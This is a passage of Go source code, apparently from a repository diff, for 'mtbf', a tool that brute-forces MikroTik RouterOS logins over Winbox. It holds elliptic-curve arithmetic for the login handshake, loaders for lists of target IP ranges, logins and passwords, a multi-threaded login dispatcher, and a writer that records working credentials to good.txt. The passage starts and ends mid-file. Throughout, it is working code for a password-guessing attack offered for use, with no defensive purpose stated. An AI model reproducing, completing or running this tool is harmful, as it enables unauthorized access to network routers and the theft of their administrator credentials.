} |
||||
|
||||
func fail(s string, params ...interface{}) { |
||||
if len(params) == 0 { |
||||
fmt.Fprintf(os.Stderr, "ERROR: "+s+"\n") |
||||
} else { |
||||
fmt.Fprintf(os.Stderr, "ERROR: "+s+"\n", params...) |
||||
} |
||||
os.Exit(1) |
||||
} |
||||
|
||||
func logIf(condition bool, facility string, level int, s string, params ...interface{}) { |
||||
if condition { |
||||
log(facility, level, s, params...) |
||||
} |
||||
} |
||||
|
||||
func failIf(condition bool, s string, params ...interface{}) { |
||||
if condition { |
||||
fail(s, params...) |
||||
} |
||||
} |
||||
|
||||
func updateModuleMap() { |
||||
logModules := CfgGet("log-modules").([]string) |
||||
noLogModules := CfgGet("no-log-modules").([]string) |
||||
|
||||
newMap := map[string]bool{} |
||||
|
||||
for _, module := range logModules { |
||||
module = strings.ToLower(module) |
||||
newMap[module] = true |
||||
} |
||||
|
||||
for _, module := range noLogModules { |
||||
module = strings.ToLower(module) |
||||
failIf(newMap[module] == true, "log module \"%v\" is defined both in log-modules and no-log-modules", module) |
||||
newMap[module] = false |
||||
} |
||||
|
||||
CfgSet("log-module-map", newMap) |
||||
} |
||||
|
||||
func init() { |
||||
CfgRegister("log-level", 0, "max log level, useful for debugging. -1 logs everything") |
||||
CfgRegisterCallback("log-modules", []string{}, "always log output from these modules", updateModuleMap) |
||||
CfgRegisterCallback("no-log-modules", []string{}, "never log output from these modules", updateModuleMap) |
||||
CfgRegisterHidden("log-module-map", map[string]bool{}) |
||||
} |
@ -0,0 +1,132 @@ |
||||
package main |
||||
|
||||
import ( |
||||
_ "fmt" |
||||
"math" |
||||
) |
||||
|
||||
func powInt(x, y int) int { |
||||
return int(math.Pow(float64(x), float64(y))) |
||||
} |
||||
|
||||
func egcd(a, b bigint) (g, x, y bigint) { |
||||
if a.Empty() { |
||||
return b, NewBigint(0), NewBigint(1) |
||||
} else { |
||||
g, y, x = egcd(b.Mod(a), a) |
||||
return g, x.Sub(b.Div(a).Mul(y)), y |
||||
} |
||||
} |
||||
|
||||
func modinv(a, p bigint) bigint { |
||||
if a.LtInt(0) { |
||||
a = a.Mod(p) |
||||
} |
||||
|
||||
g, x, _ := egcd(a, p) |
||||
if g.NeInt(1) { |
||||
panic("modular inverse does not exist") |
||||
} else { |
||||
return x.Mod(p) |
||||
} |
||||
} |
||||
|
||||
func leftmostBit(x bigint) bigint { |
||||
if x.LteInt(0) { |
||||
panic("x must be greater than 0") |
||||
} |
||||
|
||||
res := NewBigint(1) |
||||
for res.Lte(x) { |
||||
res = res.MulInt(2) |
||||
} |
||||
|
||||
return res.DivInt(2) |
||||
} |
||||
|
||||
func naf(mult bigint) []bigint { |
||||
ret := make([]bigint, 0) |
||||
|
||||
for mult.GtInt(0) { |
||||
if mult.ModInt(2).GtInt(0) { |
||||
nd := mult.ModInt(4) |
||||
if nd.GteInt(2) { |
||||
nd = nd.SubInt(4) |
||||
} |
||||
ret = append(ret, nd) |
||||
mult = mult.Sub(nd) |
||||
} else { |
||||
ret = append(ret, NewBigint(0)) |
||||
} |
||||
|
||||
mult = mult.DivInt(2) |
||||
} |
||||
|
||||
return ret |
||||
} |
||||
|
||||
func legendreSymbol(a, p bigint) bigint { |
||||
l := a.ModExp(p.SubInt(1).DivInt(2), p) |
||||
if l.Eq(p.SubInt(1)) { |
||||
return NewBigint(-1) |
||||
} else { |
||||
return l |
||||
} |
||||
} |
||||
|
||||
func primeModSqrt(a, p bigint) (bigint, bigint) { |
||||
a = a.Mod(p) |
||||
|
||||
if a.EqInt(0) { |
||||
return NewBigint(0), NewEmptyBigint() |
||||
} |
||||
|
||||
if p.EqInt(2) { |
||||
return a, NewEmptyBigint() |
||||
} |
||||
|
||||
if legendreSymbol(a, p).NeInt(1) { |
||||
return NewEmptyBigint(), NewEmptyBigint() |
||||
} |
||||
|
||||
if p.ModInt(4).EqInt(3) { |
||||
x := a.ModExp(p.AddInt(1).DivInt(4), p) |
||||
return x, p.Sub(x) |
||||
} |
||||
|
||||
q, s := p.SubInt(1), 0 |
||||
for q.ModInt(2).EqInt(0) { |
||||
s++ |
||||
q = q.DivInt(2) |
||||
} |
||||
|
||||
z := NewBigint(1) |
||||
for legendreSymbol(z, p).NeInt(-1) { |
||||
z = z.AddInt(1) |
||||
} |
||||
|
||||
c := z.ModExp(q, p) |
||||
x := a.ModExp(q.AddInt(1).DivInt(2), p) |
||||
t := a.ModExp(q, p) |
||||
m := s |
||||
|
||||
for t.NeInt(1) { |
||||
i, e := 0, NewBigint(2) |
||||
if m > 0 { |
||||
for i = 1; i < m; i++ { |
||||
if t.ModExp(e, p).EqInt(1) { |
||||
break |
||||
} |
||||
e = e.MulInt(2) |
||||
} |
||||
} |
||||
|
||||
b := c.ModExp(NewBigint(powInt(2, m-i-1)), p) |
||||
x = x.Mul(b).Mod(p) |
||||
t = t.Mul(b).Mul(b).Mod(p) |
||||
c = b.Mul(b).Mod(p) |
||||
m = i |
||||
} |
||||
|
||||
return x, p.Sub(x) |
||||
} |
@ -0,0 +1,16 @@ |
||||
package main |
||||
|
||||
func main() { |
||||
log("main", 0, "mtbf: Mikrotik RouterOS bruteforce | v1.0.1") |
||||
parseAppConfig() |
||||
|
||||
OpenOutFile() |
||||
defer CloseOutFile() |
||||
LoadSources() |
||||
defer CloseSources() |
||||
|
||||
wg := InitializeThreads() |
||||
WaitForThreads(wg) |
||||
|
||||
log("main", 0, "finished") |
||||
} |
@ -0,0 +1,384 @@ |
||||
package main |
||||
|
||||
import ( |
||||
_ "fmt" |
||||
) |
||||
|
||||
type Point struct { |
||||
curve *WCurve |
||||
x, y bigint |
||||
order bigint |
||||
} |
||||
|
||||
var InfinityPoint *Point = NewInfPoint() |
||||
|
||||
func NewPoint(curve *WCurve, x, y, order bigint) *Point { |
||||
point := Point{} |
||||
point.x = x |
||||
point.y = y |
||||
point.order = order |
||||
|
||||
/*if curve != nil && !curve.containsPoint(x, y) { |
||||
panic("point is not on a curve") |
||||
}/* |
||||
|
||||
/*if curve != nil && curve.h.NeInt(1) && !order.Empty() { |
||||
if point.Mul(order).Eq(InfinityPoint) { |
||||
panic("point is not a scalar multiple") |
||||
} |
||||
}*/ |
||||
|
||||
return &point |
||||
} |
||||
|
||||
func NewInfPoint() *Point { |
||||
return NewPoint(nil, NewEmptyBigint(), NewEmptyBigint(), NewEmptyBigint()) |
||||
} |
||||
|
||||
func (self *Point) IsInf() bool { |
||||
return self.curve == nil && self.x.Empty() && self.y.Empty() |
||||
} |
||||
|
||||
func (self *Point) Eq(other *Point) bool { |
||||
eqCurve := self.curve != nil && other.curve != nil && self.curve.Eq(other.curve) |
||||
eqX := !self.x.Empty() && !other.x.Empty() && self.x.Eq(other.x) |
||||
eqY := !self.y.Empty() && !other.y.Empty() && self.y.Eq(other.y) |
||||
|
||||
if self.IsInf() && other.IsInf() { |
||||
return true |
||||
} |
||||
|
||||
return eqCurve && eqX && eqY |
||||
} |
||||
|
||||
func (self *Point) Neg() *Point { |
||||
return NewPoint(self.curve, self.x, self.curve.p.Sub(self.y), NewEmptyBigint()) |
||||
} |
||||
|
||||
func (self *Point) Add(other *Point) *Point { |
||||
if other.Eq(InfinityPoint) { |
||||
return self |
||||
} |
||||
|
||||
if self.Eq(InfinityPoint) { |
||||
return other |
||||
} |
||||
|
||||
if !self.curve.Eq(other.curve) { |
||||
panic("cannot add points on different curves") |
||||
} |
||||
|
||||
if self.x.Eq(other.x) { |
||||
if self.y.Add(other.y).Mod(self.curve.p).EqInt(0) { |
||||
return NewInfPoint() |
||||
} else { |
||||
return self.Double() |
||||
} |
||||
} |
||||
|
||||
p := self.curve.p |
||||
im := modinv(other.x.Sub(self.x), p) |
||||
l := other.y.Sub(self.y).Mul(im).Mod(p) |
||||
|
||||
x3 := l.Mul(l).Sub(self.x).Sub(other.x).Mod(p) |
||||
y3 := l.Mul(self.x.Sub(x3)).Sub(self.y).Mod(p) |
||||
|
||||
return NewPoint(self.curve, x3, y3, NewEmptyBigint()) |
||||
} |
||||
|
||||
func (self *Point) Mul(other bigint) *Point { |
||||
e := other |
||||
|
||||
if e.EqInt(0) || (!self.order.Empty() && e.Mod(self.order).EqInt(0)) { |
||||
return NewInfPoint() |
||||
} |
||||
if self.Eq(InfinityPoint) { |
||||
return NewInfPoint() |
||||
} |
||||
if e.LtInt(0) { |
||||
return self.Neg().Mul(e.Neg()) |
||||
} |
||||
|
||||
e3 := e.MulInt(3) |
||||
negativeSelf := NewPoint(self.curve, self.x, self.y.Neg(), self.order) |
||||
i := leftmostBit(e3).DivInt(2) |
||||
res := self |
||||
|
||||
for i.GtInt(1) { |
||||
res = res.Double() |
||||
if !e3.And(i).EqInt(0) && e.And(i).EqInt(0) { |
||||
res = res.Add(self) |
||||
} |
||||
if e3.And(i).EqInt(0) && !e.And(i).EqInt(0) { |
||||
res = res.Add(negativeSelf) |
||||
} |
||||
|
||||
i = i.DivInt(2) |
||||
} |
||||
|
||||
return res |
||||
} |
||||
|
||||
func (self *Point) Double() *Point { |
||||
if self.Eq(InfinityPoint) { |
||||
return NewInfPoint() |
||||
} |
||||
|
||||
p := self.curve.p |
||||
a := self.curve.a |
||||
|
||||
im := modinv(self.y.MulInt(2), p) |
||||
l := self.x.MulInt(3).Mul(self.x).Add(a).Mul(im).Mod(p) |
||||
|
||||
x3 := l.Mul(l).Sub(self.x.MulInt(2)).Mod(p) |
||||
y3 := l.Mul(self.x.Sub(x3)).Sub(self.y).Mod(p) |
||||
|
||||
return NewPoint(self.curve, x3, y3, NewEmptyBigint()) |
||||
} |
||||
|
||||
type JacobiPoint struct { |
||||
curve *WCurve |
||||
x, y, z bigint |
||||
order bigint |
||||
} |
||||
|
||||
func NewJacobiPoint(curve *WCurve, x, y, z, order bigint) *JacobiPoint { |
||||
// attempt to initialize normal point
|
||||
NewPoint(curve, x, y, order) |
||||
|
||||
point := JacobiPoint{} |
||||
point.x = x |
||||
point.y = y |
||||
point.z = z |
||||
point.curve = curve |
||||
point.order = order |
||||
return &point |
||||
} |
||||
|
||||
func NewInfJacobiPoint() *JacobiPoint { |
||||
return NewJacobiPoint(nil, NewEmptyBigint(), NewEmptyBigint(), NewEmptyBigint(), NewEmptyBigint()) |
||||
} |
||||
|
||||
func (self *JacobiPoint) IsInf() bool { |
||||
return self.curve == nil && self.x.Empty() && self.y.Empty() && self.z.Empty() |
||||
} |
||||
|
||||
func (self *JacobiPoint) EqCoords(x2, y2, z2 bigint) bool { |
||||
x1 := self.x |
||||
y1 := self.y |
||||
z1 := self.z |
||||
p := self.curve.p |
||||
|
||||
zz1 := z1.Mul(z1).Mod(p) |
||||
zz2 := z2.Mul(z2).Mod(p) |
||||
|
||||
m1 := x1.Mul(zz2).Sub(x2.Mul(zz1)).Mod(p) |
||||
m2 := y1.Mul(zz2).Mul(z2).Sub(y2.Mul(zz1).Mul(z1)).Mod(p) |
||||
|
||||
return m1.EqInt(0) && m2.EqInt(0) |
||||
} |
||||
|
||||
func (self *JacobiPoint) EqPoint(other *Point) bool { |
||||
if other.IsInf() { |
||||
return self.y.Empty() || self.z.Empty() |
||||
} |
||||
if !self.curve.Eq(other.curve) { |
||||
return false |
||||
} |
||||
|
||||
return self.EqCoords(other.x, other.y, NewBigint(1)) |
||||
} |
||||
|
||||
func (self *JacobiPoint) Eq(other *JacobiPoint) bool { |
||||
if other.IsInf() { |
||||
return self.y.Empty() || self.z.Empty() |
||||
} |
||||
if !self.curve.Eq(other.curve) { |
||||
return false |
||||
} |
||||
|
||||
return self.EqCoords(other.x, other.y, other.z) |
||||
} |
||||
|
||||
func (self *JacobiPoint) Neg() *JacobiPoint { |
||||
return NewJacobiPoint(self.curve, self.x, self.y.Neg(), self.z, self.order) |
||||
} |
||||
|
||||
func (self *JacobiPoint) AffineX() bigint { |
||||
if self.z.EqInt(1) { |
||||
return self.x |
||||
} |
||||
|
||||
z := modinv(self.z, self.curve.p) |
||||
return self.x.Mul(z.Mul(z)).Mod(self.curve.p) |
||||
} |
||||
|
||||
func (self *JacobiPoint) AffineY() bigint { |
||||
if self.z.EqInt(1) { |
||||
return self.y |
||||
} |
||||
|
||||
z := modinv(self.z, self.curve.p) |
||||
return self.y.Mul(z.Mul(z).Mul(z)).Mod(self.curve.p) |
||||
} |
||||
|
||||
// modifies in-place
|
||||
func (self *JacobiPoint) Scale() *JacobiPoint { |
||||
if self.z.EqInt(1) { |
||||
return self |
||||
} |
||||
|
||||
p := self.curve.p |
||||
zInv := modinv(self.z, p) |
||||
zzInv := zInv.Mul(zInv).Mod(p) |
||||
|
||||
x := self.x.Mul(zzInv).Mod(p) |
||||
y := self.y.Mul(zzInv).Mul(zInv).Mod(p) |
||||
|
||||
self.x = x |
||||
self.y = y |
||||
self.z = NewBigint(1) |
||||
return self |
||||
} |
||||
|
||||
func (self *JacobiPoint) ToAffine() *Point { |
||||
if self.y.Empty() || self.z.Empty() { |
||||
return NewInfPoint() |
||||
} |
||||
|
||||
self.Scale() |
||||
return NewPoint(self.curve, self.x, self.y, self.order) |
||||
} |
||||
|
||||
func (self *Point) FromAffine() *JacobiPoint { |
||||
return NewJacobiPoint(self.curve, self.x, self.y, NewBigint(1), self.order) |
||||
} |
||||
|
||||
func (self *JacobiPoint) _Double(x1, y1, z1, p, a bigint) (t, y3, z3 bigint) { |
||||
if y1.Empty() || z1.Empty() { |
||||
return NewBigint(0), NewBigint(0), NewBigint(1) |
||||
} |
||||
|
||||
xx, yy := x1.Mul(x1).Mod(p), y1.Mul(y1).Mod(p) |
||||
if yy.Empty() { |
||||
return NewBigint(0), NewBigint(0), NewBigint(1) |
||||
} |
||||
|
||||
yyyy := yy.Mul(yy).Mod(p) |
||||
zz := z1.Mul(z1).Mod(p) |
||||
|
||||
s := NewBigint(2).Mul(x1.Add(yy).Mul(x1.Add(yy)).Sub(xx).Sub(yyyy)).Mod(p) |
||||
m := NewBigint(3).Mul(xx).Add(a.Mul(zz).Mul(zz)).Mod(p) |
||||
t = m.Mul(m).Sub(NewBigint(2).Mul(s)).Mod(p) |
||||
y3 = m.Mul(s.Sub(t)).Sub(NewBigint(8).Mul(yyyy)).Mod(p) |
||||
z3 = y1.Add(z1).Mul(y1.Add(z1)).Sub(yy).Sub(zz).Mod(p) |
||||
|
||||
return t, y3, z3 |
||||
} |
||||
|
||||
func (self *JacobiPoint) Double() *JacobiPoint { |
||||
if self.y.Empty() { |
||||
return NewInfJacobiPoint() |
||||
} |
||||
|
||||
x3, y3, z3 := self._Double(self.x, self.y, self.z, self.curve.p, self.curve.a) |
||||
if y3.Empty() || z3.Empty() { |
||||
return NewInfJacobiPoint() |
||||
} |
||||
|
||||
return NewJacobiPoint(self.curve, x3, y3, z3, self.order) |
||||
} |
||||
|
||||
func (self *JacobiPoint) _Add(x1, y1, z1, x2, y2, z2, p bigint) (x3, y3, z3 bigint) { |
||||
if y1.Empty() || z1.Empty() { |
||||
return x2, y2, z2 |
||||
} |
||||
if y2.Empty() || z2.Empty() { |
||||
return x1, y1, z1 |
||||
} |
||||
|
||||
z1z1 := z1.Mul(z1).Mod(p) |
||||
z2z2 := z2.Mul(z2).Mod(p) |
||||
u1 := x1.Mul(z2z2).Mod(p) |
||||
u2 := x2.Mul(z1z1).Mod(p) |
||||
s1 := y1.Mul(z2).Mul(z2z2).Mod(p) |
||||
s2 := y2.Mul(z1).Mul(z1z1).Mod(p) |
||||
h := u2.Sub(u1) |
||||
i := NewBigint(4).Mul(h).Mul(h).Mod(p) |
||||
j := h.Mul(i).Mod(p) |
||||
r := NewBigint(2).Mul(s2.Sub(s1)).Mod(p) |
||||
|
||||
if h.Empty() && r.Empty() { |
||||
return self._Double(x1, y1, z1, p, self.curve.a) |
||||
} |
||||
|
||||
v := u1.Mul(i) |
||||
x3 = r.Mul(r).Sub(j).Sub(NewBigint(2).Mul(v)).Mod(p) |
||||
y3 = r.Mul(v.Sub(x3)).Sub(NewBigint(2).Mul(s1).Mul(j)).Mod(p) |
||||
z3 = z1.Add(z2).Mul(z1.Add(z2)).Sub(z1z1).Sub(z2z2).Mul(h).Mod(p) |
||||
|
||||
return x3, y3, z3 |
||||
} |
||||
|
||||
func (self *JacobiPoint) AddPoint(other *Point) *JacobiPoint { |
||||
return self.Add(other.FromAffine()) |
||||
} |
||||
|
||||
func (self *JacobiPoint) Add(other *JacobiPoint) *JacobiPoint { |
||||
if other.IsInf() { |
||||
return self |
||||
} |
||||
|
||||
if self.IsInf() { |
||||
return other |
||||
} |
||||
|
||||
if !self.curve.Eq(other.curve) { |
||||
panic("cannot add with different curves") |
||||
} |
||||
|
||||
x3, y3, z3 := self._Add(self.x, self.y, self.z, other.x, other.y, other.z, self.curve.p) |
||||
if y3.Empty() || z3.Empty() { |
||||
return NewInfJacobiPoint() |
||||
} |
||||
|
||||
return NewJacobiPoint(self.curve, x3, y3, z3, self.order) |
||||
} |
||||
|
||||
func (self *JacobiPoint) Mul(other bigint) *JacobiPoint { |
||||
if self.y.Empty() || other.Empty() { |
||||
return NewInfJacobiPoint() |
||||
} |
||||
if other.EqInt(1) { |
||||
return self |
||||
} |
||||
if !self.order.Empty() { |
||||
other = other.Mod(self.order.MulInt(2)) |
||||
} |
||||
|
||||
self = self.Scale() |
||||
x2, y2 := self.x, self.y |
||||
x3, y3, z3 := NewBigint(0), NewBigint(0), NewBigint(1) |
||||
p, a := self.curve.p, self.curve.a |
||||
|
||||
nf := naf(other) |
||||
|
||||
for i := len(nf) - 1; i >= 0; i-- { |
||||
x3, y3, z3 = self._Double(x3, y3, z3, p, a) |
||||
if nf[i].LtInt(0) { |
||||
x3, y3, z3 = self._Add(x3, y3, z3, x2, y2.Neg(), NewBigint(1), p) |
||||
} else if nf[i].GtInt(0) { |
||||
x3, y3, z3 = self._Add(x3, y3, z3, x2, y2, NewBigint(1), p) |
||||
} |
||||
} |
||||
|
||||
if y3.Empty() || z3.Empty() { |
||||
return NewInfJacobiPoint() |
||||
} |
||||
|
||||
return NewJacobiPoint(self.curve, x3, y3, z3, self.order) |
||||
} |
||||
|
||||
func (self *JacobiPoint) MulAdd(selfMul bigint, other *JacobiPoint, otherMul bigint) *JacobiPoint { |
||||
return self.Mul(selfMul).Add(other.Mul(otherMul)) |
||||
} |
@ -0,0 +1,46 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"fmt" |
||||
"os" |
||||
) |
||||
|
||||
var outFile *os.File |
||||
|
||||
func RegisterResult(t *Task, good bool) { |
||||
if good { |
||||
log("res", 0, "****************\n******** OK: %v %v %v\n****************", t.e.String(), t.login, t.password) |
||||
if outFile != nil { |
||||
fmt.Fprintf(outFile, "%v\t%v\t%v\n", t.e.String(), t.login, t.password) |
||||
} |
||||
} else { |
||||
log("res", 1, "bad: %v %v %v", t.e.String(), t.login, t.password) |
||||
} |
||||
} |
||||
|
||||
func OpenOutFile() { |
||||
fileName := CfgGetString("out-file") |
||||
if fileName == "" { |
||||
log("out", 0, "WARNING: out-file is not specified, results will only be logged in console") |
||||
outFile = nil |
||||
} else { |
||||
var err error |
||||
outFile, err = os.OpenFile(fileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) |
||||
|
||||
if err != nil { |
||||
fail("error opening output file \"%v\": %v", fileName, err.Error()) |
||||
} |
||||
|
||||
log("out", 2, "opened output file \"%v\"", fileName) |
||||
} |
||||
} |
||||
|
||||
func CloseOutFile() { |
||||
outFile.Close() |
||||
outFile = nil |
||||
} |
||||
|
||||
func init() { |
||||
CfgRegister("out-file", "good.txt", "results will be saved in this file") |
||||
CfgRegisterAlias("o", "out-file") |
||||
} |
@ -0,0 +1,29 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"errors" |
||||
"net" |
||||
) |
||||
|
||||
// TODO: multiple services...
|
||||
|
||||
func TryLogin(task *Task, conn net.Conn) (res bool, err error) { |
||||
defer func() { |
||||
if r := recover(); r != nil { |
||||
log("srv", 1, "fatal error (panic) in service handler: %v", r) |
||||
res = false |
||||
|
||||
switch x := r.(type) { |
||||
case string: |
||||
err = errors.New(x) |
||||
case error: |
||||
err = x |
||||
default: |
||||
err = errors.New("unknown error") |
||||
} |
||||
} |
||||
}() |
||||
|
||||
res, err = NewWinbox(task, conn).TryLogin() |
||||
return res, err |
||||
} |
@ -0,0 +1,288 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"bufio" |
||||
"os" |
||||
"strconv" |
||||
"strings" |
||||
"sync" |
||||
) |
||||
|
||||
type Source struct { |
||||
name, plainParmName, filesParmName string |
||||
|
||||
validator func(item string) (string, error) |
||||
|
||||
plain []string |
||||
files []*os.File |
||||
fileNames []string |
||||
|
||||
contents []string |
||||
|
||||
fetchMutex sync.Mutex |
||||
} |
||||
|
||||
// both -1: exhausted
|
||||
// both 0: not started yet
|
||||
type SourcePos struct { |
||||
plainIdx int |
||||
contentIdx int |
||||
} |
||||
|
||||
func (pos *SourcePos) String() string { |
||||
return "P" + strconv.Itoa(pos.plainIdx) + "/C" + strconv.Itoa(pos.contentIdx) |
||||
} |
||||
|
||||
func (pos *SourcePos) Exhausted() bool { |
||||
return pos.plainIdx == -1 && pos.contentIdx == -1 |
||||
} |
||||
|
||||
func ipValidator(item string) (res string, err error) { |
||||
return item, nil |
||||
} |
||||
|
||||
func passwordValidator(item string) (res string, err error) { |
||||
if CfgGetSwitch("no-password-trim") { |
||||
return item, nil |
||||
} else { |
||||
return strings.TrimSpace(item), nil |
||||
} |
||||
} |
||||
|
||||
var SrcIP Source = Source{name: "ip", plainParmName: "ip", filesParmName: "ip-file"} |
||||
var SrcLogin Source = Source{name: "login", plainParmName: "login", filesParmName: "login-file"} |
||||
var SrcPassword Source = Source{name: "password", plainParmName: "password", |
||||
filesParmName: "password-file", validator: passwordValidator} |
||||
|
||||
func (src *Source) validate(item string) (res string, err error) { |
||||
if src.validator != nil { |
||||
res, err := src.validator(item) |
||||
if err != nil { |
||||
log("src", 1, "error validating %v \"%v\": %v", src.name, item, err.Error()) |
||||
} |
||||
return res, err |
||||
} else { |
||||
return item, nil |
||||
} |
||||
} |
||||
|
||||
func (src *Source) parsePlain() { |
||||
if src.plain == nil { |
||||
src.plain = []string{} |
||||
} |
||||
|
||||
for _, plain := range CfgGetStringSlice(src.plainParmName) { |
||||
var err error |
||||
plain, err = src.validate(plain) |
||||
if err != nil { |
||||
continue |
||||
} |
||||
|
||||
src.plain = append(src.plain, plain) |
||||
} |
||||
|
||||
if len(src.plain) > 0 { |
||||
log("src", 1, "parsed %v %v items", len(src.plain), src.name) |
||||
} |
||||
} |
||||
|
||||
func (src *Source) openFiles() { |
||||
if src.files == nil { |
||||
src.files = []*os.File{} |
||||
} |
||||
|
||||
if src.fileNames == nil { |
||||
src.fileNames = []string{} |
||||
} |
||||
|
||||
fileNames := CfgGetStringSlice(src.filesParmName) |
||||
for _, fileName := range fileNames { |
||||
f, err := os.Open(fileName) |
||||
if err != nil { |
||||
fail("error opening source file \"%v\": %v", fileName, err.Error()) |
||||
} |
||||
|
||||
src.files = append(src.files, f) |
||||
src.fileNames = append(src.fileNames, fileName) |
||||
} |
||||
|
||||
if len(src.files) > 0 { |
||||
log("src", 1, "opened %v %v files", len(src.files), src.name) |
||||
} |
||||
} |
||||
|
||||
// this parses all source files
|
||||
func (src *Source) parseFiles() { |
||||
if src.contents == nil { |
||||
src.contents = []string{} |
||||
} |
||||
|
||||
for i, file := range src.files { |
||||
fileName := src.fileNames[i] |
||||
log("src", 1, "parsing %v", fileName) |
||||
thisTotal := 0 |
||||
|
||||
scanner := bufio.NewScanner(file) |
||||
for scanner.Scan() { |
||||
text := scanner.Text() |
||||
if text == "" { |
||||
continue |
||||
} |
||||
|
||||
value, err := src.validate(text) |
||||
if err != nil { |
||||
continue |
||||
} |
||||
|
||||
src.contents = append(src.contents, value) |
||||
thisTotal++ |
||||
} |
||||
|
||||
scannerErr := scanner.Err() |
||||
failIf(scannerErr != nil, "error reading source file \"%v\": %v", fileName, scannerErr) |
||||
log("src", 1, "ok: parsed %v, got %v contents, %v total", fileName, thisTotal, len(src.contents)) |
||||
} |
||||
} |
||||
|
||||
func (src *Source) failIfEmpty() { |
||||
failIf(len(src.contents)+len(src.plain) == 0, "no %vs defined: check %v and %v parameters", src.name, src.plainParmName, src.filesParmName) |
||||
} |
||||
|
||||
func (src *Source) reportLoaded() { |
||||
log("src", 0, "loaded %vs: %v items from commandline and %v items from files", src.name, len(src.plain), len(src.contents)) |
||||
} |
||||
|
||||
func (src *Source) load(wg *sync.WaitGroup) { |
||||
if wg != nil { |
||||
defer wg.Done() |
||||
} |
||||
|
||||
if src.name == "password" && CfgGetSwitch("add-empty-password") { |
||||
if src.plain == nil { |
||||
src.plain = []string{} |
||||
} |
||||
src.plain = append(src.plain, "") |
||||
} |
||||
|
||||
src.parsePlain() |
||||
src.openFiles() |
||||
defer src.closeFiles() |
||||
|
||||
src.parseFiles() |
||||
src.failIfEmpty() |
||||
} |
||||
|
||||
func (src *Source) closeFiles() { |
||||
l := len(src.files) |
||||
for _, file := range src.files { |
||||
if file != nil { |
||||
file.Close() |
||||
} |
||||
} |
||||
|
||||
src.files = []*os.File{} |
||||
src.fileNames = []string{} |
||||
log("src", 1, "closed all %v %v files", l, src.name) |
||||
} |
||||
|
||||
func (src *Source) fetchFromSlice(name string, idx *int, slice []string, inc bool) (res string, empty bool) { |
||||
if *idx == -1 { |
||||
// exhausted
|
||||
log("src", 3, "fetch %v from %v: idx is -1, return empty", src.name, name) |
||||
return "", true |
||||
} |
||||
|
||||
if *idx >= len(slice) { |
||||
log("src", 3, "fetch %v from %v: idx >= slice length (%v >= %v), marking as exhausted, return empty", src.name, name, *idx, len(slice)) |
||||
*idx = -1 |
||||
return "", true |
||||
} |
||||
|
||||
res = slice[*idx] |
||||
log("src", 3, "fetch %v from %v: ok, got %v at idx %v", src.name, name, res, *idx) |
||||
|
||||
if inc { |
||||
*idx = *idx + 1 |
||||
log("src", 3, "fetch %v from %v: incrementing idx to %v", src.name, name, *idx) |
||||
} |
||||
|
||||
return res, false |
||||
} |
||||
|
||||
// retrieves an item from source
|
||||
// increments pos
|
||||
func (src *Source) FetchOne(pos *SourcePos, inc bool) (res string, empty bool) { |
||||
src.fetchMutex.Lock() |
||||
defer src.fetchMutex.Unlock() |
||||
|
||||
if CfgGetSwitch("file-contents-first") { |
||||
res, empty = src.fetchFromSlice("contents", &pos.contentIdx, src.contents, inc) |
||||
if empty { |
||||
res, empty = src.fetchFromSlice("plain", &pos.plainIdx, src.plain, inc) |
||||
} |
||||
} else { |
||||
res, empty = src.fetchFromSlice("plain", &pos.plainIdx, src.plain, inc) |
||||
if empty { |
||||
res, empty = src.fetchFromSlice("contents", &pos.contentIdx, src.contents, inc) |
||||
} |
||||
} |
||||
|
||||
logIf(empty, "src", 2, "exhausted source %v for pos %v", src.name, pos.String()) |
||||
return res, empty |
||||
} |
||||
|
||||
func (pos *SourcePos) Reset() { |
||||
pos.plainIdx = 0 |
||||
pos.contentIdx = 0 |
||||
log("src", 3, "resetting source pos") |
||||
} |
||||
|
||||
func LoadSources() { |
||||
log("src", 1, "loading sources") |
||||
|
||||
var wg sync.WaitGroup |
||||
wg.Add(3) |
||||
go SrcIP.load(&wg) |
||||
go SrcLogin.load(&wg) |
||||
go SrcPassword.load(&wg) |
||||
wg.Wait() |
||||
|
||||
SrcIP.reportLoaded() |
||||
SrcLogin.reportLoaded() |
||||
SrcPassword.reportLoaded() |
||||
|
||||
ParseEndpoints(SrcIP.plain) |
||||
|
||||
// TODO: dynamic loading of contents
|
||||
// currently this just dumps everything to a slice
|
||||
ParseEndpoints(SrcIP.contents) |
||||
|
||||
log("src", 1, "ok: finished loading sources") |
||||
} |
||||
|
||||
func CloseSources() { |
||||
log("src", 1, "closing sources") |
||||
SrcIP.closeFiles() |
||||
SrcLogin.closeFiles() |
||||
SrcPassword.closeFiles() |
||||
log("src", 1, "ok: finished closing sources") |
||||
} |
||||
|
||||
func init() { |
||||
CfgRegister("ip", []string{}, "IPs or subnets in CIDR notation") |
||||
CfgRegister("ip-file", []string{}, "paths to files with IPs or subnets in CIDR notation (one entry per line)") |
||||
CfgRegister("login", []string{}, "one or more logins") |
||||
CfgRegister("login-file", []string{}, "paths to files with logins (one entry per line)") |
||||
CfgRegister("password", []string{}, "one or more passwords") |
||||
CfgRegister("password-file", []string{}, "paths to files with passwords (one entry per line)") |
||||
|
||||
CfgRegisterSwitch("add-empty-password", "insert an empty password to the password list") |
||||
//CfgRegisterSwitch("no-source-validation", "do not attempt to validate and count lines in source files")
|
||||
CfgRegisterSwitch("no-password-trim", "preserve leading and trailing spaces in passwords") |
||||
CfgRegisterSwitch("logins-first", "increment logins before passwords") |
||||
CfgRegisterSwitch("file-contents-first", "try to go through source files first, defer commandline args for later") |
||||
|
||||
//
|
||||
//CfgRegisterSwitch("ignore-network-names", "always skip non-IPv4/non-IPv6 entries, do not attempt to resolve them as domain names")
|
||||
//
|
||||
} |
@ -0,0 +1,285 @@ |
||||
package main |
||||
|
||||
import ( |
||||
rbt "github.com/emirpasic/gods/trees/redblacktree" |
||||
rbtUtils "github.com/emirpasic/gods/utils" |
||||
"net" |
||||
"sync" |
||||
"time" |
||||
) |
||||
|
||||
// TaskEvent represents all events that can be issued on a Task.
|
||||
type TaskEvent int |
||||
|
||||
const ( |
||||
TE_Generic TaskEvent = iota // undefined or no event
|
||||
|
||||
// These should terminate a task instantly.
|
||||
TE_NoResponse // connect timed out
|
||||
TE_ReadFailed // read failed or timed out
|
||||
TE_NoService // endpoint does not provide selected service
|
||||
TE_ProtocolError // a service module reported an error during auth attempt
|
||||
TE_Bad // auth attempt completed successfully but credentials were wrong
|
||||
TE_Good // auth attempt completed successfully and the credentials are correct
|
||||
|
||||
